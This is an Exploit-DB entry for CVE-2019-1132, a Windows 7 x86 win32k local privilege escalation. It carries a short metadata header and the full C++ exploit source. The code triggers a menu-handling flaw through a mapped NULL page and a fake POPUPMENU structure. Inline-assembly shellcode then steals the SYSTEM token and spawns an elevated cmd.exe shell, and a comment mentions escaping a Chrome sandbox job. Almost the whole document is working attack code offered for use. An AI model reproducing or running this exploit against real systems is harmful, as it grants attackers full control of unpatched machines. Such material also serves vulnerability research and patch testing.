标题: Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation EDB-ID: 47176 CVE: 2019-1132 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2019-07-26 漏洞利用脚本: #include <Windows.h>
#include <iostream>

/*
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip
*/

/* PREPROCESSOR DEFINITIONS */
#define MN_SELECTITEM 0x1E5
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_OPENHIERARCHY 0x01E3
#define MN_CANCELMENUS 0x1E6
#define MN_BUTTONDOWN 0x1ed
#define WM_EX_TRIGGER 0x6789
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread()  (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TYPE_WINDOW 1

/* GLOBAL VARIABLES */
static BOOL  hWindowHuntDestroy = FALSE;
static BOOL  bEnterEvent = FALSE;
static BOOL  success = FALSE;
static HMENU hMenuList[3] = { 0 };
static HWND  hWindowMain = NULL;
static HWND  hWindowHunt = NULL;
static HWND  hwndMenuList[3] = { 0 };
static PVOID MemAddr = (PVOID)1;
static SIZE_T MemSize = 0x1000;
static DWORD iCount = 0;
static DWORD release = 0;


/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
typedef struct _HEAD {
 HANDLE  h;
 DWORD   cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
 HEAD    head;
 PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
 PVOID   rpdesk;
 PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
 THROBJHEAD  thread;
 DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

/* Definition of xxHMValidateHandle */
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

/* Defintion of NtallocateVirtualMemory */
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
 HANDLE       ProcessHandle,
 PVOID       *BaseAddress,
 ULONG_PTR    ZeroBits,
 PSIZE_T      RegionSize,
 ULONG        AllocationType,
 ULONG        Protect
 );
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


static
VOID
xxGetHMValidateHandle(VOID)
{
 HMODULE hModule = LoadLibraryA("USER32.DLL");
 PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
 PBYTE Address = NULL;
 for (INT i = 0; i < 0x30; i++)
 {
  if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
  {
   continue;
  }
  i += 2;
  if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
  {
   continue;
  }
  Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
  Address = Address + i + 5;
  pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
  break;
 }
}

static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
 return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

static
PVOID
xxHMValidateHandle(HWND hwnd)
{
 PVOID RetAddr = NULL;
 if (!pfnHMValidateHandle)
 {
  xxGetHMValidateHandle();
 }
 if (pfnHMValidateHandle)
 {
  RetAddr = xxHMValidateHandleEx(hwnd);
 }
 return RetAddr;
}

static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
{
 WNDCLASSEXW wc = { 0 };
 wc.cbSize = sizeof(WNDCLASSEXW);
 wc.lpfnWndProc = pfnProc;
 wc.cbWndExtra = cbWndExtra;
 wc.hInstance = GetModuleHandleA(NULL);
 wc.lpszMenuName = NULL;
 wc.lpszClassName = lpszClassName;
 return RegisterClassExW(&wc);
}

static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
{
 return CreateWindowExW(dwExStyle,
  lpszClassName,
  NULL,
  dwStyle,
  0,
  0,
  1,
  1,
  hwndParent,
  NULL,
  hInstance,
  NULL);
}

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
 tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

 if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
 {
  printf("Sending the MN_CANCELMENUS message\n");
  SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
  bEnterEvent = FALSE;
 }
 return CallNextHookEx(0, code, wParam, lParam);
}


static
VOID
CALLBACK
xxWindowEventProc(
 HWINEVENTHOOK hWinEventHook,
 DWORD         event,
 HWND          hwnd,
 LONG          idObject,
 LONG          idChild,
 DWORD         idEventThread,
 DWORD         dwmsEventTime
)
{
 UNREFERENCED_PARAMETER(hWinEventHook);
 UNREFERENCED_PARAMETER(event);
 UNREFERENCED_PARAMETER(idObject);
 UNREFERENCED_PARAMETER(idChild);
 UNREFERENCED_PARAMETER(idEventThread);
 UNREFERENCED_PARAMETER(dwmsEventTime);

 bEnterEvent = TRUE;
 if (iCount < ARRAYSIZE(hwndMenuList))
 {
  hwndMenuList[iCount] = hwnd;
  iCount++;
 }
 SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
 SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
 PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

__declspec(noinline) int Shellcode()
{
 __asm {
  xor eax, eax // Set EAX to 0.
  mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
            // _KTHREAD is located at FS:[0x124]
  mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
  mov ecx, eax // Copy current process _EPROCESS structure
  mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
  SearchSystemPID:
   mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
   sub eax, 0B8h
   cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
   jne SearchSystemPID
   mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
   mov[ecx + 0xF8], edx // Assign SYSTEM process token.
 }
}

static
LRESULT
WINAPI
xxMainWindowProc(
 _In_ HWND   hwnd,
 _In_ UINT   msg,
 _In_ WPARAM wParam,
 _In_ LPARAM lParam
)
{
 if (msg == 0x1234)
 {
  WORD um = 0;
  __asm
  {
   // Grab the value of the CS register and
   // save it into the variable UM.
   //int 3
   mov ax, cs
   mov um, ax
  }
  // If UM is 0x1B, this function is executing in usermode
  // code and something went wrong. Therefore output a message that
  // the exploit didn't succeed and bail.
  if (um == 0x1b)
  {
   // USER MODE
   printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
   ExitProcess(-1); // Bail as if this code is hit either the target isn't 
        // vulnerable or something is wrong with the exploit.
  }
  else
  {
   success = TRUE; // Set the success flag to indicate the sprayCallback()
       // window procedure is running as SYSTEM.
   Shellcode(); // Call the Shellcode() function to perform the token stealing and
       // to remove the Job object on the Chrome renderer process.
  }
 }
 return DefWindowProcW(hwnd, msg, wParam, lParam);
}

int main()
{
 /* Creating the menu */
 for (int i = 0; i < 3; i++)
  hMenuList[i] = CreateMenu();

 /* Appending the menus along with the item */
 for (int i = 0; i < 3; i++)
 {
  AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
 }
 AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");

 /* Creating a main window class */
 xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
 hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
  WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
  WS_VISIBLE,
  GetModuleHandleA(NULL));
 printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain);
 ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);

 /* Creating the hunt window class */
 xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
 hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
  WS_EX_LEFT,
  WS_OVERLAPPEDWINDOW,
  GetModuleHandleA(NULL));
 printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
 
 /* Hooking the WH_CALLWNDPROC function */
 SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());

 /* Hooking the trackpopupmenuEx WINAPI call */
 HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
  GetCurrentProcessId(), GetCurrentThreadId(), 0);

 /* Setting the root popup menu to null */
 printf("Setting the root popup menu to null\n");
 release = 0;
 TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

 /* Allocating the memory at NULL page */
 *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
 if (NtAllocateVirtualMemory == NULL)
  return 1;

 if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
  &MemAddr,
  0,
  &MemSize,
  MEM_COMMIT | MEM_RESERVE,
  PAGE_READWRITE)) || MemAddr != NULL)
 {
  std::cout << "[-]Memory alloc failed!" << std::endl;
  return 1;
 }
 ZeroMemory(MemAddr, MemSize);

 /* Getting the tagWND of the hWindowHunt */
 PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
 printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf);

 /* Creating a fake POPUPMENU structure */
 DWORD dwPopupFake[0x100] = { 0 };
 dwPopupFake[0x0] = (DWORD)0x1; //->flags
 dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
 dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
 dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
 dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
 dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
 dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
 dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup
 dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot
 dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
 dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem
 dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
 dwPopupFake[0xC] = (DWORD)0;

 /* Copying it to the NULL page */
 RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

 /* Allowing to access the NULL page mapped values */
 release = 1;
 hwndMenuList[2] = NULL;
 TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL);
 
 /* Freeing the allocated NULL memory */
 VirtualFree(MemAddr, 0x1000, 0);

 SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11);

 if (success)
 {
  STARTUPINFO si = { sizeof(si) };
  PROCESS_INFORMATION pi = { 0 };
  si.dwFlags = STARTF_USESHOWWINDOW;
  si.wShowWindow = SW_SHOW;
  printf("Getting the shell now...\n");
  BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
  if (bRet)
  {
   CloseHandle(pi.hProcess);
   CloseHandle(pi.hThread);
  }
 }

 DestroyWindow(hWindowMain);

 MSG msg = { 0 };
 while (GetMessageW(&msg, NULL, 0, 0))
 {
  TranslateMessage(&msg);
  DispatchMessageW(&msg);
 }
 return 0;
} URL: https://www.exploit-db.com/exploits/47176